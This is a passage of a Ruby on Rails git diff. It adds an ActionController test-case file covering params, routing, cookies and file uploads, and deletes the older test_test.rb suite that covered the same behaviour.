+    get :test_params, :page => {:name => "Page name", :month => 4, :year => 2004, :day => 6}
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_case_test/test', 'action' => 'test_params',
+       'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
+      parsed_params
+    )
+  end
+
+  def test_params_passing_with_fixnums_when_not_html_request
+    get :test_params, :format => 'json', :count => 999
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_case_test/test', 'action' => 'test_params',
+       'format' => 'json', 'count' => 999 },
+      parsed_params
+    )
+  end
+
+  def test_params_passing_path_parameter_is_string_when_not_html_request
+    get :test_params, :format => 'json', :id => 1
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_case_test/test', 'action' => 'test_params',
+       'format' => 'json', 'id' => '1' },
+      parsed_params
+    )
+  end
+
+  def test_params_passing_with_frozen_values
+    assert_nothing_raised do
+      get :test_params, :frozen => 'icy'.freeze, :frozens => ['icy'.freeze].freeze, :deepfreeze => { :frozen => 'icy'.freeze }.freeze
+    end
+    parsed_params = eval(@response.body)
+    assert_equal(
+      {'controller' => 'test_case_test/test', 'action' => 'test_params',
+       'frozen' => 'icy', 'frozens' => ['icy'], 'deepfreeze' => { 'frozen' => 'icy' }},
+      parsed_params
+    )
+  end
+
+  def test_params_passing_doesnt_modify_in_place
+    page = {:name => "Page name", :month => 4, :year => 2004, :day => 6}
+    get :test_params, :page => page
+    assert_equal 2004, page[:year]
+  end
+
+  def test_id_converted_to_string
+    get :test_params, :id => 20, :foo => Object.new
+    assert_kind_of String, @request.path_parameters['id']
+  end
+
+  def test_array_path_parameter_handled_properly
+    with_routing do |set|
+      set.draw do
+        get 'file/*path', :to => 'test_case_test/test#test_params'
+        get ':controller/:action'
+      end
+
+      get :test_params, :path => ['hello', 'world']
+      assert_equal ['hello', 'world'], @request.path_parameters['path']
+      assert_equal 'hello/world', @request.path_parameters['path'].to_param
+    end
+  end
+
+  def test_assert_realistic_path_parameters
+    get :test_params, :id => 20, :foo => Object.new
+
+    # All elements of path_parameters should use string keys
+    @request.path_parameters.keys.each do |key|
+      assert_kind_of String, key
+    end
+  end
+
+  def test_with_routing_places_routes_back
+    assert @routes
+    routes_id = @routes.object_id
+
+    begin
+      with_routing { raise 'fail' }
+      fail 'Should not be here.'
+    rescue RuntimeError
+    end
+
+    assert @routes
+    assert_equal routes_id, @routes.object_id
+  end
+
+  def test_remote_addr
+    get :test_remote_addr
+    assert_equal "0.0.0.0", @response.body
+
+    @request.remote_addr = "192.0.0.1"
+    get :test_remote_addr
+    assert_equal "192.0.0.1", @response.body
+  end
+
+  def test_header_properly_reset_after_remote_http_request
+    xhr :get, :test_params
+    assert_nil @request.env['HTTP_X_REQUESTED_WITH']
+  end
+
+  def test_header_properly_reset_after_get_request
+    get :test_params
+    @request.recycle!
+    assert_nil @request.instance_variable_get("@request_method")
+  end
+
+  def test_params_reset_after_post_request
+    post :no_op, :foo => "bar"
+    assert_equal "bar", @request.params[:foo]
+    @request.recycle!
+    post :no_op
+    assert_blank @request.params[:foo]
+  end
+
+  def test_symbolized_path_params_reset_after_request
+    get :test_params, :id => "foo"
+    assert_equal "foo", @request.symbolized_path_parameters[:id]
+    @request.recycle!
+    get :test_params
+    assert_nil @request.symbolized_path_parameters[:id]
+  end
+
+  def test_request_protocol_is_reset_after_request
+    get :test_protocol
+    assert_equal "http://", @response.body
+
+    @request.env["HTTPS"] = "on"
+    get :test_protocol
+    assert_equal "https://", @response.body
+
+    @request.env.delete("HTTPS")
+    get :test_protocol
+    assert_equal "http://", @response.body
+  end
+
+  def test_request_format
+    get :test_format, :format => 'html'
+    assert_equal 'text/html', @response.body
+
+    get :test_format, :format => 'json'
+    assert_equal 'application/json', @response.body
+
+    get :test_format, :format => 'xml'
+    assert_equal 'application/xml', @response.body
+
+    get :test_format
+    assert_equal 'text/html', @response.body
+  end
+
+  def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
+    cookies['foo'] = 'bar'
+    get :no_op
+    assert_equal 'bar', cookies['foo']
+  end
+
+  def test_should_detect_if_cookie_is_deleted
+    cookies['foo'] = 'bar'
+    get :delete_cookie
+    assert_nil cookies['foo']
+  end
+
+  %w(controller response request).each do |variable|
+    %w(get post put delete head process).each do |method|
+      define_method("test_#{variable}_missing_for_#{method}_raises_error") do
+        remove_instance_variable "@#{variable}"
+        begin
+          send(method, :test_remote_addr)
+          assert false, "expected RuntimeError, got nothing"
+        rescue RuntimeError => error
+          assert_match(%r{@#{variable} is nil}, error.message)
+        rescue => error
+          assert false, "expected RuntimeError, got #{error.class}"
+        end
+      end
+    end
+  end
+
+  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
+
+  READ_BINARY = 'rb:binary'
+  READ_PLAIN = 'r:binary'
+
+  def test_test_uploaded_file
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = 'image/png'
+    expected = File.read(path)
+    expected.force_encoding(Encoding::BINARY)
+
+    file = Rack::Test::UploadedFile.new(path, content_type)
+    assert_equal filename, file.original_filename
+    assert_equal content_type, file.content_type
+    assert_equal file.path, file.local_path
+    assert_equal expected, file.read
+
+    new_content_type = "new content_type"
+    file.content_type = new_content_type
+    assert_equal new_content_type, file.content_type
+
+  end
+
+  def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case
+    TestCaseTest.stubs(:fixture_path).returns(FILES_DIR)
+
+    uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png')
+    assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
+  end
+
+  def test_test_uploaded_file_with_binary
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = 'image/png'
+
+    binary_uploaded_file = Rack::Test::UploadedFile.new(path, content_type, :binary)
+    assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
+
+    plain_uploaded_file = Rack::Test::UploadedFile.new(path, content_type)
+    assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
+  end
+
+  def test_fixture_file_upload_with_binary
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    content_type = 'image/jpg'
+
+    binary_file_upload = fixture_file_upload(path, content_type, :binary)
+    assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
+
+    plain_file_upload = fixture_file_upload(path, content_type)
+    assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
+  end
+
+  def test_fixture_file_upload
+    post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
+    assert_equal '159528', @response.body
+  end
+
+  def test_action_dispatch_uploaded_file_upload
+    filename = 'mona_lisa.jpg'
+    path = "#{FILES_DIR}/#{filename}"
+    post :test_file_upload, :file => ActionDispatch::Http::UploadedFile.new(:filename => path, :type => "image/jpg", :tempfile => File.open(path))
+    assert_equal '159528', @response.body
+  end
+
+  def test_test_uploaded_file_exception_when_file_doesnt_exist
+    assert_raise(RuntimeError) { Rack::Test::UploadedFile.new('non_existent_file') }
+  end
+
+  def test_redirect_url_only_cares_about_location_header
+    get :create
+    assert_response :created
+
+    # Redirect url doesn't care that it wasn't a :redirect response.
+    assert_equal 'created resource', @response.redirect_url
+    assert_equal @response.redirect_url, redirect_to_url
+
+    # Must be a :redirect response.
+    assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_redirected_to 'created resource'
+    end
+  end
+end
+
+class InferringClassNameTest < ActionController::TestCase
+  def test_determine_controller_class
+    assert_equal ContentController, determine_class("ContentControllerTest")
+  end
+
+  def test_determine_controller_class_with_nonsense_name
+    assert_nil determine_class("HelloGoodBye")
+  end
+
+  def test_determine_controller_class_with_sensible_name_where_no_controller_exists
+    assert_nil determine_class("NoControllerWithThisNameTest")
+  end
+
+  private
+    def determine_class(name)
+      ActionController::TestCase.determine_default_controller_class(name)
+    end
+end
+
+class CrazyNameTest < ActionController::TestCase
+  tests ContentController
+
+  def test_controller_class_can_be_set_manually_not_just_inferred
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class CrazySymbolNameTest < ActionController::TestCase
+  tests :content
+
+  def test_set_controller_class_using_symbol
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class CrazyStringNameTest < ActionController::TestCase
+  tests 'content'
+
+  def test_set_controller_class_using_string
+    assert_equal ContentController, self.class.controller_class
+  end
+end
+
+class NamedRoutesControllerTest < ActionController::TestCase
+  tests ContentController
+
+  def test_should_be_able_to_use_named_routes_before_a_request_is_done
+    with_routing do |set|
+      set.draw { resources :contents }
+      assert_equal 'http://test.host/contents/new', new_content_url
+      assert_equal 'http://test.host/contents/1', content_url(:id => 1)
+    end
+  end
+end
+
+class AnonymousControllerTest < ActionController::TestCase
+  def setup
+    @controller = Class.new(ActionController::Base) do
+      def index
+        render :text => params[:controller]
+      end
+    end.new
+
+    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+      r.draw do
+        get ':controller(/:action(/:id))'
+      end
+    end
+  end
+
+  def test_controller_name
+    get :index
+    assert_equal 'anonymous', @response.body
+  end
+end
diff --git a/actionpack/test/controller/test_test.rb b/actionpack/test/controller/test_test.rb
deleted file mode 100644
index b64e275363..0000000000
--- a/actionpack/test/controller/test_test.rb
+++ /dev/null
@@ -1,803 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_controllers'
-require 'active_support/ordered_hash'
-
-class TestTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    def no_op
-      render :text => 'dummy'
-    end
-
-    def set_flash
-      flash["test"] = ">#{flash["test"]}<"
-      render :text => 'ignore me'
-    end
-
-    def set_flash_now
-      flash.now["test_now"] = ">#{flash["test_now"]}<"
-      render :text => 'ignore me'
-    end
-
-    def set_session
-      session['string'] = 'A wonder'
-      session[:symbol] = 'it works'
-      render :text => 'Success'
-    end
-
-    def reset_the_session
-      reset_session
-      render :text => 'ignore me'
-    end
-
-    def render_raw_post
-      raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
-      render :text => request.raw_post
-    end
-
-    def render_body
-      render :text => request.body.read
-    end
-
-    def test_params
-      render :text => params.inspect
-    end
-
-    def test_uri
-      render :text => request.fullpath
-    end
-
-    def test_query_string
-      render :text => request.query_string
-    end
-
-    def test_protocol
-      render :text => request.protocol
-    end
-
-    def test_html_output
-      render :text => <<HTML
-<html>
-  <body>
-    <a href="/"><img src="/images/button.png" /></a>
-    <div id="foo">
-      <ul>
-        <li class="item">hello</li>
-        <li class="item">goodbye</li>
-      </ul>
-    </div>
-    <div id="bar">
-      <form action="/somewhere">
-        Name: <input type="text" name="person[name]" id="person_name" />
-      </form>
-    </div>
-  </body>
-</html>
-HTML
-    end
-
-    def test_xml_output
-      response.content_type = "application/xml"
-      render :text => <<XML
-<?xml version="1.0" encoding="UTF-8"?>
-<root>
-  <area>area is an empty tag in HTML, raising an error if not in xml mode</area>
-</root>
-XML
-    end
-
-    def test_only_one_param
-      render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
-    end
-
-    def test_remote_addr
-      render :text => (request.remote_addr || "not specified")
-    end
-
-    def test_file_upload
-      render :text => params[:file].size
-    end
-
-    def test_send_file
-      send_file(File.expand_path(__FILE__))
-    end
-
-    def redirect_to_same_controller
-      redirect_to :controller => 'test', :action => 'test_uri', :id => 5
-    end
-
-    def redirect_to_different_controller
-      redirect_to :controller => 'fail', :id => 5
-    end
-
-    def create
-      head :created, :location => 'created resource'
-    end
-
-    def delete_cookie
-      cookies.delete("foo")
-      render :nothing => true
-    end
-
-    def test_assigns
-      @foo = "foo"
-      render :nothing => true
-    end
-
-    private
-      def rescue_action(e)
-        raise e
-      end
-
-      def generate_url(opts)
-        url_for(opts.merge(:action => "test_uri"))
-      end
-  end
-
-  def setup
-    super
-    @controller = TestController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    @request.env['PATH_INFO'] = nil
-    @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
-      r.draw do
-        match ':controller(/:action(/:id))'
-      end
-    end
-  end
-
-  class ViewAssignsController < ActionController::Base
-    def test_assigns
-      @foo = "foo"
-      render :nothing => true
-    end
-
-    def view_assigns
-      { "bar" => "bar" }
-    end
-  end
-
-  def test_raw_post_handling
-    params = ActiveSupport::OrderedHash[:page, {:name => 'page name'}, 'some key', 123]
-    post :render_raw_post, params.dup
-
-    assert_equal params.to_query, @response.body
-  end
-
-  def test_body_stream
-    params = ActiveSupport::OrderedHash[:page, { :name => 'page name' }, 'some key', 123]
-
-    post :render_body, params.dup
-
-    assert_equal params.to_query, @response.body
-  end
-
-  def test_process_without_flash
-    process :set_flash
-    assert_equal '><', flash['test']
-  end
-
-  def test_process_with_flash
-    process :set_flash, nil, nil, { "test" => "value" }
-    assert_equal '>value<', flash['test']
-  end
-
-  def test_process_with_flash_now
-    process :set_flash_now, nil, nil, { "test_now" => "value_now" }
-    assert_equal '>value_now<', flash['test_now']
-  end
-
-  def test_process_with_session
-    process :set_session
-    assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
-    assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
-    assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
-    assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
-  end
-
-  def test_process_with_session_arg
-    process :no_op, nil, { 'string' => 'value1', :symbol => 'value2' }
-    assert_equal 'value1', session['string']
-    assert_equal 'value1', session[:string]
-    assert_equal 'value2', session['symbol']
-    assert_equal 'value2', session[:symbol]
-  end
-
-  def test_session_is_cleared_from_controller_after_reset_session
-    process :set_session
-    process :reset_the_session
-    assert_equal Hash.new, @controller.session.to_hash
-  end
-
-  def test_session_is_cleared_from_request_after_reset_session
-    process :set_session
-    process :reset_the_session
-    assert_equal Hash.new, @request.session.to_hash
-  end
-
-  def test_response_and_request_have_nice_accessors
-    process :no_op
-    assert_equal @response, response
-    assert_equal @request, request
-  end
-
-  def test_process_with_request_uri_with_no_params
-    process :test_uri
-    assert_equal "/test_test/test/test_uri", @response.body
-  end
-
-  def test_process_with_request_uri_with_params
-    process :test_uri, :id => 7
-    assert_equal "/test_test/test/test_uri/7", @response.body
-  end
-
-  def test_process_with_request_uri_with_params_with_explicit_uri
-    @request.env['PATH_INFO'] = "/explicit/uri"
-    process :test_uri, :id => 7
-    assert_equal "/explicit/uri", @response.body
-  end
-
-  def test_process_with_query_string
-    process :test_query_string, :q => 'test'
-    assert_equal "q=test", @response.body
-  end
-
-  def test_process_with_query_string_with_explicit_uri
-    @request.env['PATH_INFO'] = '/explicit/uri'
-    @request.env['QUERY_STRING'] = 'q=test?extra=question'
-    process :test_query_string
-    assert_equal "q=test?extra=question", @response.body
-  end
-
-  def test_multiple_calls
-    process :test_only_one_param, :left => true
-    assert_equal "OK", @response.body
-    process :test_only_one_param, :right => true
-    assert_equal "OK", @response.body
-  end
-
-  def test_assigns
-    process :test_assigns
-    # assigns can be accessed using assigns(key)
-    # or assigns[key], where key is a string or
-    # a symbol
-    assert_equal "foo", assigns(:foo)
-    assert_equal "foo", assigns("foo")
-    assert_equal "foo", assigns[:foo]
-    assert_equal "foo", assigns["foo"]
-  end
-
-  def test_view_assigns
-    @controller = ViewAssignsController.new
-    process :test_assigns
-    assert_equal nil, assigns(:foo)
-    assert_equal nil, assigns[:foo]
-    assert_equal "bar", assigns(:bar)
-    assert_equal "bar", assigns[:bar]
-  end
-
-  def test_assert_tag_tag
-    process :test_html_output
-
-    # there is a 'form' tag
-    assert_tag :tag => 'form'
-    # there is not an 'hr' tag
-    assert_no_tag :tag => 'hr'
-  end
-
-  def test_assert_tag_attributes
-    process :test_html_output
-
-    # there is a tag with an 'id' of 'bar'
-    assert_tag :attributes => { :id => "bar" }
-    # there is no tag with a 'name' of 'baz'
-    assert_no_tag :attributes => { :name => "baz" }
-  end
-
-  def test_assert_tag_parent
-    process :test_html_output
-
-    # there is a tag with a parent 'form' tag
-    assert_tag :parent => { :tag => "form" }
-    # there is no tag with a parent of 'input'
-    assert_no_tag :parent => { :tag => "input" }
-  end
-
-  def test_assert_tag_child
-    process :test_html_output
-
-    # there is a tag with a child 'input' tag
-    assert_tag :child => { :tag => "input" }
-    # there is no tag with a child 'strong' tag
-    assert_no_tag :child => { :tag => "strong" }
-  end
-
-  def test_assert_tag_ancestor
-    process :test_html_output
-
-    # there is a 'li' tag with an ancestor having an id of 'foo'
-    assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
-    # there is no tag of any kind with an ancestor having an href matching 'foo'
-    assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
-  end
-
-  def test_assert_tag_descendant
-    process :test_html_output
-
-    # there is a tag with a descendant 'li' tag
-    assert_tag :descendant => { :tag => "li" }
-    # there is no tag with a descendant 'html' tag
-    assert_no_tag :descendant => { :tag => "html" }
-  end
-
-  def test_assert_tag_sibling
-    process :test_html_output
-
-    # there is a tag with a sibling of class 'item'
-    assert_tag :sibling => { :attributes => { :class => "item" } }
-    # there is no tag with a sibling 'ul' tag
-    assert_no_tag :sibling => { :tag => "ul" }
-  end
-
-  def test_assert_tag_after
-    process :test_html_output
-
-    # there is a tag following a sibling 'div' tag
-    assert_tag :after => { :tag => "div" }
-    # there is no tag following a sibling tag with id 'bar'
-    assert_no_tag :after => { :attributes => { :id => "bar" } }
-  end
-
-  def test_assert_tag_before
-    process :test_html_output
-
-    # there is a tag preceding a tag with id 'bar'
-    assert_tag :before => { :attributes => { :id => "bar" } }
-    # there is no tag preceding a 'form' tag
-    assert_no_tag :before => { :tag => "form" }
-  end
-
-  def test_assert_tag_children_count
-    process :test_html_output
-
-    # there is a tag with 2 children
-    assert_tag :children => { :count => 2 }
-    # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
-    assert_tag :tag => 'ul', :children => { :count => 2 }
-    # there is no tag with 4 children
-    assert_no_tag :children => { :count => 4 }
-  end
-
-  def test_assert_tag_children_less_than
-    process :test_html_output
-
-    # there is a tag with less than 5 children
-    assert_tag :children => { :less_than => 5 }
-    # there is no 'ul' tag with less than 2 children
-    assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
-  end
-
-  def test_assert_tag_children_greater_than
-    process :test_html_output
-
-    # there is a 'body' tag with more than 1 children
-    assert_tag :children => { :greater_than => 1 }, :tag => "body"
-    # there is no tag with more than 10 children
-    assert_no_tag :children => { :greater_than => 10 }
-  end
-
-  def test_assert_tag_children_only
-    process :test_html_output
-
-    # there is a tag containing only one child with an id of 'foo'
-    assert_tag :children => { :count => 1,
-                              :only => { :attributes => { :id => "foo" } } }
-    # there is no tag containing only one 'li' child
-    assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
-  end
-
-  def test_assert_tag_content
-    process :test_html_output
-
-    # the output contains the string "Name"
-    assert_tag :content => /Name/
-    # the output does not contain the string "test"
-    assert_no_tag :content => /test/
-  end
-
-  def test_assert_tag_multiple
-    process :test_html_output
-
-    # there is a 'div', id='bar', with an immediate child whose 'action'
-    # attribute matches the regexp /somewhere/.
-    assert_tag :tag => "div", :attributes => { :id => "bar" },
-               :child => { :attributes => { :action => /somewhere/ } }
-
-    # there is no 'div', id='foo', with a 'ul' child with more than
-    # 2 "li" children.
-    assert_no_tag :tag => "div", :attributes => { :id => "foo" },
-                  :child => {
-                    :tag => "ul",
-                    :children => { :greater_than => 2,
-                                   :only => { :tag => "li" } } }
-  end
-
-  def test_assert_tag_children_without_content
-    process :test_html_output
-
-    # there is a form tag with an 'input' child which is a self closing tag
-    assert_tag :tag => "form",
-      :children => { :count => 1,
-        :only => { :tag => "input" } }
-
-    # the body tag has an 'a' child which in turn has an 'img' child
-    assert_tag :tag => "body",
-      :children => { :count => 1,
-        :only => { :tag => "a",
-          :children => { :count => 1,
-            :only => { :tag => "img" } } } }
-  end
-
-  def test_should_not_impose_childless_html_tags_in_xml
-    process :test_xml_output
-
-    begin
-      $stderr = StringIO.new
-      assert_select 'area' #This will cause a warning if content is processed as HTML
-      $stderr.rewind && err = $stderr.read
-    ensure
-      $stderr = STDERR
-    end
-
-    assert err.empty?
-  end
-
-  def test_assert_tag_attribute_matching
-    @response.body = '<input type="text" name="my_name">'
-    assert_tag :tag => 'input',
-                 :attributes => { :name => /my/, :type => 'text' }
-    assert_no_tag :tag => 'input',
-                 :attributes => { :name => 'my', :type => 'text' }
-    assert_no_tag :tag => 'input',
-                 :attributes => { :name => /^my$/, :type => 'text' }
-  end
-
-  def test_assert_tag_content_matching
-    @response.body = "<p>hello world</p>"
-    assert_tag :tag => "p", :content => "hello world"
-    assert_tag :tag => "p", :content => /hello/
-    assert_no_tag :tag => "p", :content => "hello"
-  end
-
-  def test_assert_generates
-    assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
-    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
-    assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
-    assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
-    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
-  end
-
-  def test_assert_routing
-    assert_routing 'content', :controller => 'content', :action => 'index'
-  end
-
-  def test_assert_routing_with_method
-    with_routing do |set|
-      set.draw { resources(:content) }
-      assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
-    end
-  end
-
-  def test_assert_routing_in_module
-    with_routing do |set|
-      set.draw do
-        namespace :admin do
-          match 'user' => 'user#index'
-        end
-      end
-
-      assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
-    end
-  end
-
-  def test_assert_routing_with_glob
-    with_routing do |set|
-      set.draw { match('*path' => "pages#show") }
-      assert_routing('/company/about', { :controller => 'pages', :action => 'show', :path => 'company/about' })
-    end
-  end
-
-  def test_params_passing
-    get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
-    parsed_params = eval(@response.body)
-    assert_equal(
-      {'controller' => 'test_test/test', 'action' => 'test_params',
-       'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
-      parsed_params
-    )
-  end
-
-  def test_params_passing_with_fixnums
-    get :test_params, :page => {:name => "Page name", :month => 4, :year => 2004, :day => 6}
-    parsed_params = eval(@response.body)
-    assert_equal(
-      {'controller' => 'test_test/test', 'action' => 'test_params',
-       'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
-      parsed_params
-    )
-  end
-
-  def test_params_passing_with_frozen_values
-    assert_nothing_raised do
-      get :test_params, :frozen => 'icy'.freeze, :frozens => ['icy'.freeze].freeze
-    end
-    parsed_params = eval(@response.body)
-    assert_equal(
-      {'controller' => 'test_test/test', 'action' => 'test_params',
-       'frozen' => 'icy', 'frozens' => ['icy']},
-      parsed_params
-    )
-  end
-
-  def test_params_passing_doesnt_modify_in_place
-    page = {:name => "Page name", :month => 4, :year => 2004, :day => 6}
-    get :test_params, :page => page
-    assert_equal 2004, page[:year]
-  end
-
-  def test_id_converted_to_string
-    get :test_params, :id => 20, :foo => Object.new
-    assert_kind_of String, @request.path_parameters['id']
-  end
-
-  def test_array_path_parameter_handled_properly
-    with_routing do |set|
-      set.draw do
-        match 'file/*path', :to => 'test_test/test#test_params'
-        match ':controller/:action'
-      end
-
-      get :test_params, :path => ['hello', 'world']
-      assert_equal ['hello', 'world'], @request.path_parameters['path']
-      assert_equal 'hello/world', @request.path_parameters['path'].to_s
-    end
-  end
-
-  def test_assert_realistic_path_parameters
-    get :test_params, :id => 20, :foo => Object.new
-
-    # All elements of path_parameters should use string keys
-    @request.path_parameters.keys.each do |key|
-      assert_kind_of String, key
-    end
-  end
-
-  def test_with_routing_places_routes_back
-    assert @routes
-    routes_id = @routes.object_id
-
-    begin
-      with_routing { raise 'fail' }
-      fail 'Should not be here.'
-    rescue RuntimeError
-    end
-
-    assert @routes
-    assert_equal routes_id, @routes.object_id
-  end
-
-  def test_remote_addr
-    get :test_remote_addr
-    assert_equal "0.0.0.0", @response.body
-
-    @request.remote_addr = "192.0.0.1"
-    get :test_remote_addr
-    assert_equal "192.0.0.1", @response.body
-  end
-
-  def test_header_properly_reset_after_remote_http_request
-    xhr :get, :test_params
-    assert_nil @request.env['HTTP_X_REQUESTED_WITH']
-  end
-
-  def test_header_properly_reset_after_get_request
-    get :test_params
-    @request.recycle!
-    assert_nil @request.instance_variable_get("@request_method")
-  end
-
-  def test_params_reset_after_post_request
-    post :no_op, :foo => "bar"
-    assert_equal "bar", @request.params[:foo]
-    @request.recycle!
-    post :no_op
-    assert_blank @request.params[:foo]
-  end
-
-  def test_symbolized_path_params_reset_after_request
-    get :test_params, :id => "foo"
-    assert_equal "foo", @request.symbolized_path_parameters[:id]
-    @request.recycle!
-    get :test_params
-    assert_nil @request.symbolized_path_parameters[:id]
-  end
-
-  def test_request_protocol_is_reset_after_request
-    get :test_protocol
-    assert_equal "http://", @response.body
-
-    @request.env["HTTPS"] = "on"
-    get :test_protocol
-    assert_equal "https://", @response.body
-
-    @request.env.delete("HTTPS")
-    get :test_protocol
-    assert_equal "http://", @response.body
-  end
-
-  def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
-    cookies['foo'] = 'bar'
-    get :no_op
-    assert_equal 'bar', cookies['foo']
-  end
-
-  def test_should_detect_if_cookie_is_deleted
-    cookies['foo'] = 'bar'
-    get :delete_cookie
-    assert_nil cookies['foo']
-  end
-
-  %w(controller response request).each do |variable|
-    %w(get post put delete head process).each do |method|
-      define_method("test_#{variable}_missing_for_#{method}_raises_error") do
-        remove_instance_variable "@#{variable}"
-        begin
-          send(method, :test_remote_addr)
-          assert false, "expected RuntimeError, got nothing"
-        rescue RuntimeError => error
-          assert_match(%r{@#{variable} is nil}, error.message)
-        rescue => error
-          assert false, "expected RuntimeError, got #{error.class}"
-        end
-      end
-    end
-  end
-
-  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
-
-  if RUBY_VERSION < '1.9'
-    READ_BINARY = 'rb'
-    READ_PLAIN = 'r'
-  else
-    READ_BINARY = 'rb:binary'
-    READ_PLAIN = 'r:binary'
-  end
-
-  def test_test_uploaded_file
-    filename = 'mona_lisa.jpg'
-    path = "#{FILES_DIR}/#{filename}"
-    content_type = 'image/png'
-    expected = File.read(path)
-    expected.force_encoding(Encoding::BINARY) if expected.respond_to?(:force_encoding)
-
-    file = Rack::Test::UploadedFile.new(path, content_type)
-    assert_equal filename, file.original_filename
-    assert_equal content_type, file.content_type
-    assert_equal file.path, file.local_path
-    assert_equal expected, file.read
-
-    new_content_type = "new content_type"
-    file.content_type = new_content_type
-    assert_equal new_content_type, file.content_type
-
-  end
-
-  def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case
-    TestTest.stubs(:fixture_path).returns(FILES_DIR)
-
-    uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png')
-    assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
-  end
-
-  def test_test_uploaded_file_with_binary
-    filename = 'mona_lisa.jpg'
-    path = "#{FILES_DIR}/#{filename}"
-    content_type = 'image/png'
-
-    binary_uploaded_file = Rack::Test::UploadedFile.new(path, content_type, :binary)
-    assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
-
-    plain_uploaded_file = Rack::Test::UploadedFile.new(path, content_type)
-    assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
-  end
-
-  def test_fixture_file_upload_with_binary
-    filename = 'mona_lisa.jpg'
-    path = "#{FILES_DIR}/#{filename}"
-    content_type = 'image/jpg'
-
-    binary_file_upload = fixture_file_upload(path, content_type, :binary)
-    assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
-
-    plain_file_upload = fixture_file_upload(path, content_type)
-    assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
-  end
-
-  def test_fixture_file_upload
-    post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
-    assert_equal '159528', @response.body
-  end
-
-  def test_test_uploaded_file_exception_when_file_doesnt_exist
-    assert_raise(RuntimeError) { Rack::Test::UploadedFile.new('non_existent_file') }
-  end
-
-  def test_redirect_url_only_cares_about_location_header
-    get :create
-    assert_response :created
-
-    # Redirect url doesn't care that it wasn't a :redirect response.
-    assert_equal 'created resource', @response.redirect_url
-    assert_equal @response.redirect_url, redirect_to_url
-
-    # Must be a :redirect response.
-    assert_raise(ActiveSupport::TestCase::Assertion) do
-      assert_redirected_to 'created resource'
-    end
-  end
-end
-
-class InferringClassNameTest < ActionController::TestCase
-  def test_determine_controller_class
-    assert_equal ContentController, determine_class("ContentControllerTest")
-  end
-
-  def test_determine_controller_class_with_nonsense_name
-    assert_nil determine_class("HelloGoodBye")
-  end
-
-  def test_determine_controller_class_with_sensible_name_where_no_controller_exists
-    assert_nil determine_class("NoControllerWithThisNameTest")
-  end
-
-  private
-    def determine_class(name)
-      ActionController::TestCase.determine_default_controller_class(name)
-    end
-end
-
-class CrazyNameTest < ActionController::TestCase
-  tests ContentController
-
-  def test_controller_class_can_be_set_manually_not_just_inferred
-    assert_equal ContentController, self.class.controller_class
-  end
-end
-
-class CrazySymbolNameTest < ActionController::TestCase
-  tests :content
-
-  def test_set_controller_class_using_symbol
-    assert_equal ContentController, self.class.controller_class
-  end
-end
-
-class CrazyStringNameTest < ActionController::TestCase
-  tests 'content'
-
-  def test_set_controller_class_using_string
-    assert_equal ContentController, self.class.controller_class
-  end
